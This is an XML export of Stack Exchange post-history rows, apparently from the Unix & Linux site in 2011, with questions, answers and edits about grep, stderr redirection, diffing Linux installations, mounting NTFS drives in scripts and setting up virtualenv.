  <row Id="33652" PostHistoryTypeId="5" PostId="13533" RevisionGUID="4249d437-51e0-4afc-aa3c-f8e088d26bfa" CreationDate="2011-05-21T02:09:58.363" UserId="1078" Comment="added 138 characters in body; added 35 characters in body" Text="I'd use `grep(1)` for this:&#xD;&#xA;&#xD;&#xA;    grep -v '^[0-9]' filename&#xD;&#xA;&#xD;&#xA;`^[0-9]` matches any line that begins with a digit, and `-v` excludes the lines that match, instead of including. You can also use the character class `[:digit:]` instead of `[0-9]`.&#xD;&#xA;&#xD;&#xA;Instead of `-v` you can invert the range:&#xD;&#xA;&#xD;&#xA;    grep '^[^0-9]' filename&#xD;&#xA;&#xD;&#xA;This will match any line that does not start with a digit, but it will not match blank lines.&#xD;&#xA;&#xD;&#xA;With `grep`, `sed` and `awk`, my general rule is that for matching and simple extraction, use `grep`, for stateless re-writing, use `sed` and for stateful modifications, use `awk`. That is why I suggest using `grep` instead of `sed` as you asked in your question (and others have already answered for `sed`)." />
  <row Id="33653" PostHistoryTypeId="5" PostId="9646" RevisionGUID="9daa1458-4de0-4411-9318-c3085eba2aaf" CreationDate="2011-05-21T02:14:09.563" UserId="6761" Comment="grammar/spelling" Text="How can I use BASH magic to achieve this?&lt;br/&gt;&#xD;&#xA;I want to only see stderr output on the screen, &lt;br/&gt;&#xD;&#xA;but I want both stdout and stderr to be written to a file.&#xD;&#xA;&#xD;&#xA;Clarification:&#xD;&#xA;I want both stdout and stderr to end up in the same file. In the order they happen.&lt;br/&gt;&#xD;&#xA;Unfortunately none of the answers below does this. " />
  <row Id="33654" PostHistoryTypeId="24" PostId="9646" RevisionGUID="9daa1458-4de0-4411-9318-c3085eba2aaf" CreationDate="2011-05-21T02:14:09.563" Comment="Proposed by 6761 approved by 73 edit id of 387" />
  <row Id="33655" PostHistoryTypeId="14" PostId="13511" RevisionGUID="f4e93b50-2f89-4e14-bef8-f1d900c08f32" CreationDate="2011-05-21T02:16:55.973" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="33656" PostHistoryTypeId="17" PostId="13511" RevisionGUID="bc72fb79-220c-47da-bc54-27c6be9849e0" CreationDate="2011-05-21T02:16:55.973" UserId="73" Comment="to http://superuser.com/questions/286504/machine-check-exception-how-to-read-and-understand-it" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33657" PostHistoryTypeId="10" PostId="13511" RevisionGUID="8b15b5f3-021d-46e2-997b-125bde709619" CreationDate="2011-05-21T02:16:55.223" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33658" PostHistoryTypeId="2" PostId="13534" RevisionGUID="86dd8044-219a-4ef1-a315-a951bbd89bb0" CreationDate="2011-05-21T02:20:54.940" UserId="7638" Text="Albert Einstein [quote][1] &#xD;&#xA;&#xD;&#xA;&gt; Insanity: doing the same thing over and over&#xD;&#xA;&gt; again and expecting different results&#xD;&#xA;&#xD;&#xA;Often-times, Linux drives me mad because I'm doing the same thing over and over again and *getting* different results from box to box. (See [my previous question][2]).&#xD;&#xA;&#xD;&#xA;For me, the biggest area of confusion is taking over a machine that someone else has installed (as is the case when signing up with a web hosting company). You just don't know what you're dealing with. &#xD;&#xA;&#xD;&#xA;**Is there some kind of clever *diff tool* that I can run on an installation of Linux (Ubuntu) to give me a heads-up on how that machine has veered from the default installation?**&#xD;&#xA;&#xD;&#xA;i.e. Something that can show me a list of the commands that are going to behave surprisingly thus avoiding a trial and error approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thinkexist.com/quotation/insanity-doing_the_same_thing_over_and_over_again/15511.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/13473/why-does-the-adduser-command-behave-surprisingly" />
  <row Id="33659" PostHistoryTypeId="1" PostId="13534" RevisionGUID="86dd8044-219a-4ef1-a315-a951bbd89bb0" CreationDate="2011-05-21T02:20:54.940" UserId="7638" Text="tool to get a diff of two different linux installations" />
  <row Id="33660" PostHistoryTypeId="3" PostId="13534" RevisionGUID="86dd8044-219a-4ef1-a315-a951bbd89bb0" CreationDate="2011-05-21T02:20:54.940" UserId="7638" Text="éconfigurationàéversionöcontrolà" />
  <row Id="33661" PostHistoryTypeId="25" PostId="13525" RevisionGUID="67e46610-3512-4638-a35f-4bf96614d485" CreationDate="2011-05-21T03:12:28.410" Comment="http://twitter.com/#!/StackUnix/status/71775335846391809" />
  <row Id="33662" PostHistoryTypeId="5" PostId="13534" RevisionGUID="adf4421f-4f89-4748-9c50-9ccdf03490cd" CreationDate="2011-05-21T03:29:31.837" UserId="7638" Comment="added 4 characters in body; edited title" Text="Albert Einstein [quote][1] &#xD;&#xA;&#xD;&#xA;&gt; Insanity: doing the same thing over and over&#xD;&#xA;&gt; again and expecting different results&#xD;&#xA;&#xD;&#xA;Often-times, Linux drives me mad because I'm doing the same thing over and over again and *getting* different results from box to box. (See [my previous question][2]).&#xD;&#xA;&#xD;&#xA;For me, the biggest area of confusion is taking over a machine that someone else has installed (as is the case when signing up with a web hosting company). You just don't know what you're dealing with. &#xD;&#xA;&#xD;&#xA;**Is there some kind of clever *diff tool* that I can run on an installation of Linux (Ubuntu) to give me a heads-up on how that machine has veered from the default installation?**&#xD;&#xA;&#xD;&#xA;i.e. Something that can show me a list of the commands that are going to behave surprisingly thus avoiding a trial and error approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thinkexist.com/quotation/insanity-doing_the_same_thing_over_and_over_again/15511.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/13473/why-does-the-adduser-command-behave-surprisingly" />
  <row Id="33663" PostHistoryTypeId="4" PostId="13534" RevisionGUID="adf4421f-4f89-4748-9c50-9ccdf03490cd" CreationDate="2011-05-21T03:29:31.837" UserId="7638" Comment="added 4 characters in body; edited title" Text="tool or technique to get a diff of two different linux installations" />
  <row Id="33664" PostHistoryTypeId="2" PostId="13535" RevisionGUID="3a70afb4-d248-4af5-a9fb-8e5e29cd19e9" CreationDate="2011-05-21T04:04:16.343" UserId="6761" Text="First, in order to work with NTFS (a proprietary file system) you need to install ntfs-3g:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# pacman -S ntfs-3g&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;There is a page on the the &lt;a href=&quot;https://wiki.archlinux.org/index.php/Ntfs&quot;&gt;Arch Wiki&lt;/a&gt; that will step you through configuration options, such as automounting and user access..." />
  <row Id="33665" PostHistoryTypeId="2" PostId="13536" RevisionGUID="8e3b95e4-7233-4062-8c3f-573a19eb9508" CreationDate="2011-05-21T04:10:56.997" UserId="3818" Text="Whenever I have a good reference system and a misbehaving one, I try to compare them with vimdiff. What I compare varies with the problem, e.g.&#xD;&#xA;&#xD;&#xA;1) When comparing a servers at the package level, I create sorted lists of packages on each server, send the results to files and diff them, e.g.&#xD;&#xA;&#xD;&#xA;On server1:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server1_packages&#xD;&#xA;&#xD;&#xA;On server2:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server2_packages&#xD;&#xA;&#xD;&#xA;Copy both files to the same machine and diff (or vimdiff) them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Make a list of running services as in example 1&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list &gt; server1_services&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list &gt; server2_services&#xD;&#xA;&#xD;&#xA;...etc., and vimdiff those.&#xD;&#xA;&#xD;&#xA;3) If you are troubleshooting inconsistent configurations with Apache for example, make copies of the config files, and vimdiff those, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33666" PostHistoryTypeId="5" PostId="13536" RevisionGUID="a47c71c9-e9ef-40b5-86d8-158f0511453f" CreationDate="2011-05-21T04:17:09.923" UserId="3818" Comment="added 6 characters in body" Text="Whenever I have a good reference system and a misbehaving one, I try to compare them with vimdiff. What I compare varies with the problem, e.g.&#xD;&#xA;&#xD;&#xA;1) When comparing a servers at the package level, I create sorted lists of packages on each server, send the results to files and diff them, e.g.&#xD;&#xA;&#xD;&#xA;On server1:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server1_packages&#xD;&#xA;&#xD;&#xA;On server2:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server2_packages&#xD;&#xA;&#xD;&#xA;Copy both files to the same machine and diff (or vimdiff) them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Make a list of running services as in example 1&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list|sort &gt; server1_services&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list|sort &gt; server2_services&#xD;&#xA;&#xD;&#xA;...etc., and vimdiff those.&#xD;&#xA;&#xD;&#xA;3) If you are troubleshooting inconsistent configurations with Apache for example, make copies of the config files, and vimdiff those, etc.&#xD;&#xA;" />
  <row Id="33667" PostHistoryTypeId="2" PostId="13537" RevisionGUID="727b9e5f-a20d-442f-a51d-caeae5f7bf7c" CreationDate="2011-05-21T05:51:56.320" UserId="7648" Text="I want to study and compare executable file structure of elf, SPARC and PA-RISC.&#xD;&#xA;&#xD;&#xA;To perform the studies I want to install OpenSolaris on an Intel machine (Core2Duo). But I got a basic doubt will it work at all ?&#xD;&#xA;&#xD;&#xA;I know SPARC has its own assembly - grew in suspicion if it will work or is valid thought at all.&#xD;&#xA;&#xD;&#xA;I was aiming to write some programs disassemble them and with some help of tools study the file structures.&#xD;&#xA;&#xD;&#xA;I don't have any clue how to perform all this for HP-UX (PA-RISC); dont know any free OS for PA-RISC.&#xD;&#xA;" />
  <row Id="33668" PostHistoryTypeId="1" PostId="13537" RevisionGUID="727b9e5f-a20d-442f-a51d-caeae5f7bf7c" CreationDate="2011-05-21T05:51:56.320" UserId="7648" Text="To study SPARC executable structure with OpenSolaris on Intel" />
  <row Id="33669" PostHistoryTypeId="3" PostId="13537" RevisionGUID="727b9e5f-a20d-442f-a51d-caeae5f7bf7c" CreationDate="2011-05-21T05:51:56.320" UserId="7648" Text="ésolarisà" />
  <row Id="33670" PostHistoryTypeId="25" PostId="13534" RevisionGUID="0248b45f-90f4-47b8-bdde-01353063e7f5" CreationDate="2011-05-21T06:12:27.840" Comment="http://twitter.com/#!/StackUnix/status/71820631678779392" />
  <row Id="33671" PostHistoryTypeId="5" PostId="940" RevisionGUID="b0727c05-2ef1-4adf-bee0-718e6f52fb2f" CreationDate="2011-05-21T07:56:36.917" UserId="688" Comment="rm noise" Text="I have a UNIX timestamp and I'd like to get a formatted date (like the output of `date`) corresponding to that timestamp.&#xD;&#xA;&#xD;&#xA;My attempts so far: &#xD;&#xA;&#xD;&#xA;    $ date +%s&#xD;&#xA;    1282367908&#xD;&#xA;    $ date -d 1282367908&#xD;&#xA;    date: invalid date `1282367908'&#xD;&#xA;    $ date -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;    $ date +%s -d +1282367908&#xD;&#xA;    date: invalid date `+1282367908'&#xD;&#xA;&#xD;&#xA;I'd like to be able to get output like: &#xD;&#xA;&#xD;&#xA;    $ TZ=UTC somecommand 1282368345&#xD;&#xA;    Sat Aug 21 05:25:45 UTC 2010&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33672" PostHistoryTypeId="4" PostId="940" RevisionGUID="b0727c05-2ef1-4adf-bee0-718e6f52fb2f" CreationDate="2011-05-21T07:56:36.917" UserId="688" Comment="rm noise" Text="How can I get a formatted date for a UNIX timestamp from the command line" />
  <row Id="33673" PostHistoryTypeId="5" PostId="942" RevisionGUID="0b9115d2-e0c1-4f0e-8147-9c623c8b0a90" CreationDate="2011-05-21T07:57:52.843" UserId="688" Comment="deleted 12 characters in body" Text="After some googling, I found way to do it with the `date` command only:&#xD;&#xA;&#xD;&#xA;    $ date --date &quot;Jan 1, 1970 00:00:00 +0000 + 1282367908 seconds&quot;&#xD;&#xA;    Sat Aug 21 09:18:28 MSD 2010&#xD;&#xA;" />
  <row Id="33674" PostHistoryTypeId="5" PostId="941" RevisionGUID="ce8b9a6d-b88a-4abc-a7cf-c159219c1ef6" CreationDate="2011-05-21T07:58:25.900" UserId="688" Comment="deleted 8 characters in body" Text="This perl one-liner will do it:&#xD;&#xA;&#xD;&#xA;    $ perl -e 'print scalar localtime $ARGV[0]' 1282367908&#xD;&#xA;    Sat Aug 21 09:18:28 2010&#xD;&#xA;" />
  <row Id="33675" PostHistoryTypeId="5" PostId="1645" RevisionGUID="055b8e94-7b05-4007-89e1-57bf89b939dd" CreationDate="2011-05-21T08:01:22.700" UserId="688" Comment="edited body; edited tags" Text="Sometimes, I need to check only the directories not files. Is there any option with the command ls? Or is there any utility for doing that?&#xD;&#xA;&#xD;&#xA;**EDIT**: I'm using Mac OS X, and `ls -d` gives me `.` even though I have directories." />
  <row Id="33676" PostHistoryTypeId="6" PostId="1645" RevisionGUID="055b8e94-7b05-4007-89e1-57bf89b939dd" CreationDate="2011-05-21T08:01:22.700" UserId="688" Comment="edited body; edited tags" Text="élsàéutilitiesà" />
  <row Id="33677" PostHistoryTypeId="5" PostId="1633" RevisionGUID="f2acdca4-0af7-45c8-ba18-26fe325cc505" CreationDate="2011-05-21T08:04:37.080" UserId="688" Comment="deleted 9 characters in body" Text="Well, when you said *Linux* you are only referring to the kernel. A distro itself is composed of many GNU tool/apps and other applications, and that makes it hard to make them unified as every developer or user has their own tastes and preferences, and that makes Linux distros vary. But the kernel itself is more or less quite unified.&#xD;&#xA;&#xD;&#xA;As for unification or standardization itself, there are bunch of efforts such as [Linux standard base][1] and [Filesystem Hierarchy Standard][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linux_Standard_Base&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard" />
  <row Id="33678" PostHistoryTypeId="5" PostId="1759" RevisionGUID="01ab87dd-5bc8-4a9b-a7d9-b3a54c029eaa" CreationDate="2011-05-21T08:11:26.967" UserId="688" Comment="deleted 6 characters in body" Text="I am using Fedora 13 and for shutting down and rebooting automatically, we have the following commands: &#xD;&#xA; &#xD;&#xA;    # shutdown -h/-r now &#xD;&#xA;&#xD;&#xA;Similarly, if I want to make my system go into suspend mode after sometime, what command should I use?" />
  <row Id="33679" PostHistoryTypeId="5" PostId="1674" RevisionGUID="eb743e5c-676f-4cd6-8c0d-0ec823cbe27c" CreationDate="2011-05-21T08:20:18.440" UserId="688" Comment="deleted 10 characters in body; edited title" Text="I notice that ncurses's terminfo database on `/usr/share/terminfo` is about 7MB (I compiled it myself). This is too large if I want to deploy it on an embedded Linux of 64MB disk space.&#xD;&#xA;&#xD;&#xA;Is there a way to reduce its size by deleting unneeded entries and keep the most-used ones? And what's is this actually for?&#xD;&#xA;&#xD;&#xA;**EDIT**: Is there any info or reference for commonly used terminfo for regular PCs or SSH clients?" />
  <row Id="33680" PostHistoryTypeId="4" PostId="1674" RevisionGUID="eb743e5c-676f-4cd6-8c0d-0ec823cbe27c" CreationDate="2011-05-21T08:20:18.440" UserId="688" Comment="deleted 10 characters in body; edited title" Text="How to reduce ncurses terminfo size" />
  <row Id="33681" PostHistoryTypeId="5" PostId="1528" RevisionGUID="a4056e09-4c34-485b-abbc-6a5e26eb39f3" CreationDate="2011-05-21T08:24:54.600" UserId="688" Comment="deleted 15 characters in body" Text="I solved it; last example should be like this:&#xD;&#xA;&#xD;&#xA;    eval varAlias=\${&quot;myvar&quot;$varname[@]}&#xD;&#xA;    for varItem in ${varAlias[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done" />
  <row Id="33682" PostHistoryTypeId="5" PostId="438" RevisionGUID="dba33b60-a51d-426c-8760-b6d989c693fe" CreationDate="2011-05-21T08:27:50.510" UserId="688" Comment="deleted 3 characters in body" Text="Add the following line to &quot;/etc/init/tty.conf&quot;:&#xD;&#xA;&#xD;&#xA;    exec /sbin/mingetty --autologin root $TTY&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33683" PostHistoryTypeId="4" PostId="1605" RevisionGUID="a8dbd99a-1be9-4342-b12a-cab22f34f589" CreationDate="2011-05-21T08:29:00.273" UserId="688" Comment="edited title" Text="Benefit of kernel module compiled inside kernel?" />
  <row Id="33684" PostHistoryTypeId="25" PostId="13537" RevisionGUID="7aea9fed-d294-41cf-9917-28615adf4b0a" CreationDate="2011-05-21T09:12:28.457" Comment="http://twitter.com/#!/StackUnix/status/71865932707934208" />
  <row Id="33685" PostHistoryTypeId="5" PostId="1751" RevisionGUID="32eff933-9bf6-4aa8-a7de-35420fa6d89e" CreationDate="2011-05-21T09:33:39.797" UserId="272" Comment="deleted 83 characters in body" Text="I'm guessing you misunderstand the concept of 'real-timeness'. If not, sorry, but it happens a lot, and I thought I'd throw a little clarification in here.&#xD;&#xA;&#xD;&#xA;The main point of a real-time kernel is to serve requests within a predictable deadline. That does not necessarily mean faster than a 'normal' kernel. So for desktop systems, a preemptive kernel is good, a real-time kernel much less so." />
  <row Id="33686" PostHistoryTypeId="2" PostId="13538" RevisionGUID="4e2c4647-f8da-474c-a51f-bd3fc4ffe01d" CreationDate="2011-05-21T10:25:43.973" UserId="7649" Text="Hi&#xD;&#xA;&#xD;&#xA;I have a problem setting up a Virtualenv on my web host server (to install python modules later on)&#xD;&#xA;&#xD;&#xA;So far I tried this using SSH-access:&#xD;&#xA;&#xD;&#xA;    wget http://pypi.python.org/packages/source/v/virtualenv/virtualenv-1.5.2.tar.gz&#xD;&#xA;    tar xzf virtualenv-1.5.2.tar.gz&#xD;&#xA;    ~/usr/lib/python2.4 virtualenv-1.5.2/virtualenv.py ~/data/env&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    ~/usr/lib/python2.4 setup.py install&#xD;&#xA;&#xD;&#xA;I don't get any errors or output and cannot find the ~/data/env-directory that should be created. What is going wrong? Or what is the next step?&#xD;&#xA;&#xD;&#xA;Thanks, Wienel" />
  <row Id="33687" PostHistoryTypeId="1" PostId="13538" RevisionGUID="4e2c4647-f8da-474c-a51f-bd3fc4ffe01d" CreationDate="2011-05-21T10:25:43.973" UserId="7649" Text="Creating Virtualenv" />
  <row Id="33688" PostHistoryTypeId="3" PostId="13538" RevisionGUID="4e2c4647-f8da-474c-a51f-bd3fc4ffe01d" CreationDate="2011-05-21T10:25:43.973" UserId="7649" Text="épythonà" />
  <row Id="33689" PostHistoryTypeId="5" PostId="13496" RevisionGUID="447ff145-a149-48f8-ae0c-4ace2001721e" CreationDate="2011-05-21T11:26:07.453" UserId="7627" Comment="added 199 characters in body" Text="Is there an alternative `find` program with a more conventional CLI interface? `find` works and expects parameters in a painfully different way from most other utils. &#xD;&#xA;&#xD;&#xA;Clarification: I'm looking for a program that has mostly the same functionality as find with a commandline interface that works and feels like POSIX (or at least GNU) commandline recommendations." />
  <row Id="33690" PostHistoryTypeId="25" PostId="13538" RevisionGUID="d8401a5c-a143-4196-9058-26f34a62199d" CreationDate="2011-05-21T12:12:29.517" Comment="http://twitter.com/#!/StackUnix/status/71911236266233856" />
  <row Id="33691" PostHistoryTypeId="2" PostId="13539" RevisionGUID="f042610e-c072-498e-b9fc-2012149cef31" CreationDate="2011-05-21T12:35:54.483" UserId="7652" Text="Hello all,&#xD;&#xA;I want to sync an USB drive with a folder located on a NTFS partition which is not mounted at boot. I have found a command to do that but I have to have the NTFS drive already mounted. How can I detect if a NTFS drive is mounted or not from a script and if is not to mount it?&#xD;&#xA;&#xD;&#xA;The command is:&#xD;&#xA;    rsync -axu /media/USB/folder /home/user/folder&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="33692" PostHistoryTypeId="1" PostId="13539" RevisionGUID="f042610e-c072-498e-b9fc-2012149cef31" CreationDate="2011-05-21T12:35:54.483" UserId="7652" Text="Detect if a (NTFS) drive is mounted or not. IF not THEN mount it!" />
  <row Id="33693" PostHistoryTypeId="3" PostId="13539" RevisionGUID="f042610e-c072-498e-b9fc-2012149cef31" CreationDate="2011-05-21T12:35:54.483" UserId="7652" Text="ébashà" />
  <row Id="33694" PostHistoryTypeId="5" PostId="13539" RevisionGUID="423a0a98-55cd-4096-a983-493e02da82e1" CreationDate="2011-05-21T12:48:19.190" UserId="7652" Comment="added 51 characters in body" Text="Hello all,&#xD;&#xA;I want to sync an USB drive with a folder located on a NTFS partition which is not mounted at boot. I have found a command to do that but I have to have the NTFS drive already mounted. How can I detect if a NTFS drive is mounted or not from a script and if is not to mount it?&#xD;&#xA;&#xD;&#xA;The command is:&#xD;&#xA;    rsync -axu /media/USB/folder /home/user/folder&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;[edit]I forgot to tell that I use Linux (Ubuntu)." />
  <row Id="33695" PostHistoryTypeId="2" PostId="13540" RevisionGUID="f5ad3113-ebad-4ea8-b85f-6e6028abdf80" CreationDate="2011-05-21T12:56:53.287" UserId="3389" Text="You can check what is mounted by issuing a plain `mount` command.  It also tells you the &quot;source device&quot; of each mount point.  &#xD;&#xA;&#xD;&#xA;If you use the devices in `/dev/disk/by-id` to mount your NTFS volume, then you'll have a fixed name you can check against in scripts, as opposed to the `/dev/sd*` names that can change between reboots and drive connect events.&#xD;&#xA;&#xD;&#xA;So something like this can check for the presence of a mounted drive in `bash`:&#xD;&#xA;&#xD;&#xA;    if mount | grep -q &quot;/dev/disk/by-id/$DEVICE_WITH_NTFS_FILESYSTEM&quot;; then&#xD;&#xA;     # device is mounted&#xD;&#xA;     ;; # do nothing&#xD;&#xA;    else&#xD;&#xA;     # device is not mounted, let's mount it&#xD;&#xA;     mount $DEVICE_WITH_NTFS_FILESYSTEM $MOUNT_POINT&#xD;&#xA;     fi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33696" PostHistoryTypeId="2" PostId="13541" RevisionGUID="72802e44-ca62-41fc-bb20-68cb54580a8a" CreationDate="2011-05-21T13:12:22.873" UserId="885" Text="There are many ways to check if a particular directory is a mount point, for example (under Linux) checking in the mount point list&#xD;&#xA;&#xD;&#xA;    if ! &lt;/proc/mounts awk '$2 == &quot;/mount/point&quot; {exit(0)} END {exit(1)}'; then&#xD;&#xA;      mount /mount/point&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;or (portably) checking whether the path's filesystem's mount point is itself&#xD;&#xA;&#xD;&#xA;    if ! df -P /mount/point | grep -q '/mount/point$'; then&#xD;&#xA;      mount /mount/point&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If the possible mount point may be a symbolic link, then see if that directory is on a different filesystem from its parent:&#xD;&#xA;&#xD;&#xA;    if df -P /mount/point/. /mount/point/.. | {&#xD;&#xA;          read -r _; read -r dev1 _; read -r dev2 _&#xD;&#xA;          [ &quot;$dev1&quot; = &quot;$dev2&quot; ]&#xD;&#xA;        }; then&#xD;&#xA;      mount /mount/point&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;An alternative approach is to use an [automounter](http://en.wikipedia.org/wiki/Automounter) to automatically mount the directory when it's accessed. For example, on Linux, you can use [autofs](https://help.ubuntu.com/community/Autofs):&#xD;&#xA;&#xD;&#xA;* Uncomment the line in `/etc/auto.master` that reads `/misc  /etc/auto.misc`&#xD;&#xA;* In `/etc/auto.misc`, add `windows_stuff -fstype=ntfs :/dev/sdz99` (replace `sdz99` by the partition you want to mount)&#xD;&#xA;* Create a symbolic link `/home/user/folder` → `/misc/windows_stuff`&#xD;&#xA;* Run `/etc/init.d/autofs reload` (or whatever tells `autofs` to reload its configuration on your distribution).&#xD;&#xA;" />
  <row Id="33697" PostHistoryTypeId="5" PostId="13539" RevisionGUID="898738bf-1996-42bb-853b-41457ed89f48" CreationDate="2011-05-21T13:14:18.630" UserId="885" Comment="deleted 65 characters in body; edited tags; edited title" Text="I want to sync an USB drive with a folder located on a NTFS partition which is not mounted at boot time. I have found a command to do that: `rsync -axu /media/USB/folder /home/user/folder`. But I have to have the NTFS drive already mounted.&#xD;&#xA;&#xD;&#xA;How can I detect if a NTFS drive is mounted or not from a script and if is not to mount it? I use Linux (Ubuntu).&#xD;&#xA;" />
  <row Id="33698" PostHistoryTypeId="4" PostId="13539" RevisionGUID="898738bf-1996-42bb-853b-41457ed89f48" CreationDate="2011-05-21T13:14:18.630" UserId="885" Comment="deleted 65 characters in body; edited tags; edited title" Text="Detect if a (NTFS) drive is mounted or not. If not then mount it" />
  <row Id="33699" PostHistoryTypeId="6" PostId="13539" RevisionGUID="898738bf-1996-42bb-853b-41457ed89f48" CreationDate="2011-05-21T13:14:18.630" UserId="885" Comment="deleted 65 characters in body; edited tags; edited title" Text="élinuxàéshellàémountàéautomountingà" />
  <row Id="33701" PostHistoryTypeId="2" PostId="13542" RevisionGUID="2be496eb-e67c-489a-87e7-46f1d99e4390" CreationDate="2011-05-21T13:38:25.603" UserId="7226" Text="You could try:&#xD;&#xA;&#xD;&#xA;    $ wget http://pypi.python.org/packages/2.4/s/setuptools/setuptools-0.6c11-py2.4.egg#md5=bd639f9b0eac4c42497034dec2ec0c2b&#xD;&#xA;    $ chmod a+x setuptools-0.6c11-py2.4.egg&#xD;&#xA;    $ ./setuptools-0.6c11-py2.4.egg&#xD;&#xA;    $ easy_install virtualenv&#xD;&#xA;    $ cd ~/data&#xD;&#xA;    $ virtualenv env&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33702" PostHistoryTypeId="5" PostId="13539" RevisionGUID="b2be3672-622a-4b4a-8aef-486c9a6d4dff" CreationDate="2011-05-21T13:40:27.230" UserId="7652" Comment="added 1000 characters in body; added 105 characters in body" Text="I want to sync an USB drive with a folder located on a NTFS partition which is not mounted at boot time. I have found a command to do that: `rsync -axu /media/USB/folder /home/user/folder`. But I have to have the NTFS drive already mounted.&#xD;&#xA;&#xD;&#xA;How can I detect if a NTFS drive is mounted or not from a script and if is not to mount it? I use Linux (Ubuntu).&#xD;&#xA;&#xD;&#xA;This is the little script modified (the original is [here][1]) with your help!&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ## CONFIG SECTION&#xD;&#xA;    MOUNT_DRIVE=/dev/disk/by-id/scsi-SATA_Hitachi_HTS5416_SB3404GRGJRKBS-part5&#xD;&#xA;    MOUNT_POINT=/media/Windows/&#xD;&#xA;    # Local folder to sync with&#xD;&#xA;    SYNC_LOC=/media/Windows/vasia/Disertatie/&#xD;&#xA;    # Device folder to sync with&#xD;&#xA;    SYNC_DEV=Disertatie&#xD;&#xA;    #&#xD;&#xA;    ## SCRIPT SECTION&#xD;&#xA;    #verify if the drives are mounted&#xD;&#xA;    if mount | grep -q &quot;/media/Windows/&quot;; then&#xD;&#xA;    #device is mounted&#xD;&#xA;    echo &quot;Windows NTFS Drive is mounted!&quot;&#xD;&#xA;    else&#xD;&#xA;    #device is not mounted,let's mount it&#xD;&#xA;    mount $MOUNT_DRIVE $MOUNT_POINT&#xD;&#xA;    fi&#xD;&#xA;    # Wait for thumbdrive to settle&#xD;&#xA;    sleep 10&#xD;&#xA;    # Synchronize thumbdrive with local&#xD;&#xA;    rsync -axu /media/DISK_IMG/${SYNC_DEV}/ ${SYNC_LOC}/&#xD;&#xA;    # Synchronize local with thumbdrive&#xD;&#xA;    #rsync -axu ${SYNC_LOC}/ /media/disk/${SYNC_DEV}/&#xD;&#xA;    # Inform user that synchronization is complete.&#xD;&#xA;    zenity --title &quot;Thumbdrive Sync&quot; --info --text &quot;File synchronization        complete.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=542664" />
  <row Id="33703" PostHistoryTypeId="2" PostId="13543" RevisionGUID="49e44631-521a-41cc-b495-458b75e3705c" CreationDate="2011-05-21T13:41:42.237" UserId="885" Text="Most of the differences between two installations of the same distribution will be in `/etc`. Copy the contents of `/etc` from one machine to a temporary directory on the other and run&#xD;&#xA;&#xD;&#xA;    diff -ru /etc /copy/of/other/etc&#xD;&#xA;&#xD;&#xA;If you want to compare a machine with a default installation, get a copy from a fresh default installation (perhaps in a virtual machine).&#xD;&#xA;&#xD;&#xA;If you can control a machine from the start, make sure to install [etckeeper](http://kitenet.net/~joey/code/etckeeper/) to keep `/etc` under version control. Then you'll be able to see precisely what's changed.&#xD;&#xA;&#xD;&#xA;Of course, there'll be a lot of differences. If you don't yet have an idea of where to look, this is the wrong approach to investigate a particular difference in behavior. For example, let's say the command `adduser` behaves differently on two machines. Then the best approach is to look at what `adduser` is doing; run it on both machines and compare. If it has an option to tell it to be more verbose (`adduser` doesn't), use it. More radically, run the program under [strace](http://en.wikipedia.org/wiki/Strace), e.g.&#xD;&#xA;&#xD;&#xA;    strace -s9999 -efile adduser …&#xD;&#xA;&#xD;&#xA;to see what files `adduser` accesses.&#xD;&#xA;" />
